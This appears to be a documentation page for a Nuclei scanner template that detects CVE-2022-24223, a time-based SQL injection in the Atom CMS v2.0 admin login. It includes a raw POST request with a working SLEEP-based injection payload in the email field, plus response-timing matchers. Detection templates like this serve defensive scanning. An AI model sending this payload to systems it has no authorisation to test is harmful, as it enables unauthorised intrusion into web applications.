Atom CMS v2.0 - SQL Injection
ID: CVE-2022-24223
Severity: critical
Author: theamanrawat
Tags: time-based-sqli,cve,cve2022,packetstorm,sqli,atom,cms,thedigitalcraft
Description
Section titled “Description”AtomCMS v2.0 was discovered to contain a SQL injection vulnerability via /admin/login.php.
YAML Source
Section titled “YAML Source”id: CVE-2022-24223
info: name: Atom CMS v2.0 - SQL Injection author: theamanrawat severity: critical description: | AtomCMS v2.0 was discovered to contain a SQL injection vulnerability via /admin/login.php. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. remediation: Fixed in version Atom CMS v2.1 reference: - https://packetstormsecurity.com/files/165922/Atom-CMS-2.0-SQL-Injection.html - https://github.com/thedigicraft/Atom.CMS/issues/255 - https://nvd.nist.gov/vuln/detail/CVE-2022-24223 - https://github.com/ARPSyndicate/cvemon - https://github.com/Enes4xd/Enes4xd classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-24223 cwe-id: CWE-89 epss-score: 0.27442 epss-percentile: 0.96689 cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: thedigitalcraft product: atomcms tags: time-based-sqli,cve,cve2022,packetstorm,sqli,atom,cms,thedigitalcraft
http: - raw: - | @timeout: 10s POST /admin/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
email={{randstr}}@gmail.com'+AND+(SELECT+2549+FROM+(SELECT(SLEEP(6)))LIzI)+AND+'uqzM'='uqzM&password={{randstr}}
matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(body, "Admin Login") && contains(body, "Atom.SaveOnBlur")' condition: and# digest: 490a004630440220100b63da9423714e509d2e6e6ad1de162bcd828b51f25d757401d7f6582afefb02206c1b5c59437d7d2846178986de113de35f17d3179c7b4265a511ecfcf3f7eb24:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-24223.yaml"